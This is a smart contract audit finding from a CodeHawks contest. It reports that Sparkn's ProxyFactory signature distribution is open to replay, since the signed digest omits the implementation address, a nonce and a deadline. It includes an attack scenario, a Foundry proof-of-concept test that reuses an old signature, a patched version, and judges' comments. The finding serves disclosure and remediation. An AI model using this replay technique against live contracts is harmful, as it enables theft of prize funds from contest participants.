ProxyFactory does not prevent EIP712 replay attacks

[codehawks-bot]

ProxyFactory does not prevent EIP712 replay attacks

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-08-sparkn/blob/0f139b2dc53905700dd29a01451b330f829653e9/src/ProxyFactory.sol#L152-L164

Summary

The contract is using OZ EIP712 implementation and it prevents from cross-chain replay attacks, but not from executing ones transaction a couple of times on the same contract implementation.

Vulnerability Details

EIP712 only defines the structure which should be used, so signed messages are represented in better way, but does not define how to prevent replay attacks. Good practices for using signature for given function is to hash all important params, include deadline for which the signature is valid and some check whether transaction with same signature is entering the contract. In this contract none of the above is implemented:

 function deployProxyAndDistributeBySignature(
        address organizer,
        bytes32 contestId,
        address implementation,
        bytes calldata signature,
        bytes calldata data
    ) public returns (address) {
        bytes32 digest = _hashTypedDataV4(
            keccak256(abi.encode(contestId, data))
        );
        if (ECDSA.recover(digest, signature) != organizer)
            revert ProxyFactory__InvalidSignature();
        bytes32 salt = _calculateSalt(organizer, contestId, implementation);
        if (saltToCloseTime[salt] == 0)
            revert ProxyFactory__ContestIsNotRegistered();
        if (saltToCloseTime[salt] > block.timestamp)
            revert ProxyFactory__ContestIsNotClosed();
        address proxy = _deployProxy(organizer, contestId, implementation);
        _distribute(proxy, data);
        return proxy;
    }

You could see this article. Here are described above-mentioned security concerns.

Impact

Replay attacks could have different impacts in different and generally they are entry points for bigger exploits. Here an example could be as follows:

We have contest A with participants x,y,Eve with percentages 20,20,60

1. Bob is the organizer of the contract, but he sign the above data(winners[x,y,Eve], percentages[20,20,60]) and send the signature to his friend Alice to end end the contest, when it is time, because Bob has a lot to do.
2. The only think which is checked within the signature is the data and the contestId. (We don't check the implementation which is important part for the execution).
3. Alice executes function deployProxyAndDistributeBySignature() with the corresponding params for the organizer(Bob), data, implementation of the existing contest and corresponding id.
4. The prices are distributed and everybody is happy, but Eve the winner of the 60% of the price pool saw that he could use the same signature again for those organizer. 5 - First scenario is if somebody accidently sent assets to already finalized contest, Eve could execute deployProxyAndDistributeBySignature() and take more assets. 5 - Another scenario is that the same organizer creates new contest, but with other implementation. The unique salt, which we use to track if the contest exist hashes (organizer, contestId, implementation), so the same values for the first two params and different implementation is a valid empty slot, where the contest could be initialized.
5. Now Eve could get credit without even taking part of the contest. When the contest ends, she just have to call deployProxyAndDistributeBySignature() with the same data as the signature is set, but as long as we don't hash the implementation in the struct, she can pass the new contest implementation and so guess... The prices for the new contest are distributed to people, which never took part.

PoC - Test

      function testIfConstestWithNewImplementationAndSameOrganizerAndIdCouldBeExploitedByOldSignature() public setUpContestForJasonAndSentJpycv2Token(TEST_SIGNER) {
        // before
        assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
        assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);

        (bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
        assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);

        bytes32 randomId = keccak256(abi.encode("Jason", "001"));
        vm.warp(8.01 days);
        // it succeeds
        proxyFactory.deployProxyAndDistributeBySignature(
            TEST_SIGNER, randomId, address(distributor), signature, sendingData
        );

        // Setup new implementation + new contest.
        vm.startBroadcast();
        Distributor newImple = new Distributor(address(proxyFactory), stadiumAddress);
        vm.stopBroadcast();
        vm.startPrank(factoryAdmin);
        proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 8 days, address(newImple));
        vm.stopPrank();
        bytes32 salt = keccak256(abi.encode(TEST_SIGNER, randomId, address(newImple)));
        address proxyAddress = proxyFactory.getProxyAddress(salt, address(newImple));
        vm.startPrank(sponsor);
        MockERC20(jpycv2Address).transfer(proxyAddress, 10 ether);
        vm.stopPrank();

        vm.warp(20 days);

        // This is totally different contest from the previous one, using different implementation, but winners are the same,
        // because the sig with provided data from the previous contest is valid.
       proxyFactory.deployProxyAndDistributeBySignature(
            TEST_SIGNER, randomId, address(newImple), signature, sendingData
        );

        // The test is passing, because all operations has passed and the tx wasn't reverted, which is wrong behaviour of the contract
        // because fail_on_revert = true and this is why if the transaction is reverted, this test would fail.
    }

Tools Used

Manual review

Recommendations

Consider implementing nonces, deadline and hashing all important parametes as "implementation". You could see OZ ERC20Permit implementation

    mapping(address => uint256) nonces;

    function deployProxyAndDistributeBySignature(
        address organizer,
        bytes32 contestId,
        address implementation,
        uint256 deadline,
        bytes calldata signature,
        bytes calldata data
    ) public returns (address) {
        if (block.timestamp > deadline) {
            revert("Signature has expired");
        }

        bytes32 digest = _hashTypedDataV4(
            keccak256(
                abi.encode(
                    contestId,
                    data,
                    implementation,
                    deadline,
                    _useNonce(organizer)
                )
            )
        );
        if (ECDSA.recover(digest, signature) != organizer)
            revert ProxyFactory__InvalidSignature();
        bytes32 salt = _calculateSalt(organizer, contestId, implementation);
        if (saltToCloseTime[salt] == 0)
            revert ProxyFactory__ContestIsNotRegistered();
        if (saltToCloseTime[salt] > block.timestamp)
            revert ProxyFactory__ContestIsNotClosed();
        address proxy = _deployProxy(organizer, contestId, implementation);
        _distribute(proxy, data);
        return proxy;
    }

    function _useNonce(address owner) private returns (uint256) {
        uint256 result = nonces[owner];
        nonces[owner]++;
        return result;
    }

[NicolaMirchev]

"The selected description regarding this finding can be found at https://www.codehawks.com/finding/clm9ckiz80003w9ecu6vtufdf. While the finding is well-explained, it focuses on just one aspect of the vulnerability. There are other important considerations, such as the possibility of using the same signature twice, which may indicate a lack of nonce or limit.

Ideally, the best findings should encompass all impacts and results stemming from existing vulnerabilities. They should also provide robust preventive measures in the 'recommendations' section. This approach ensures that end clients receive a comprehensive understanding of the issue, covering all concerns in the final report."

[PatrickAlphaC]

For me, this felt like a bit of a coin toss. I really liked the simplicity of the selected finding. Yes, it's great to be verbose, but also important to be conscise.

That being said, your submission also highlighted the lack of eip712 compatibility, so I've awarded that as well.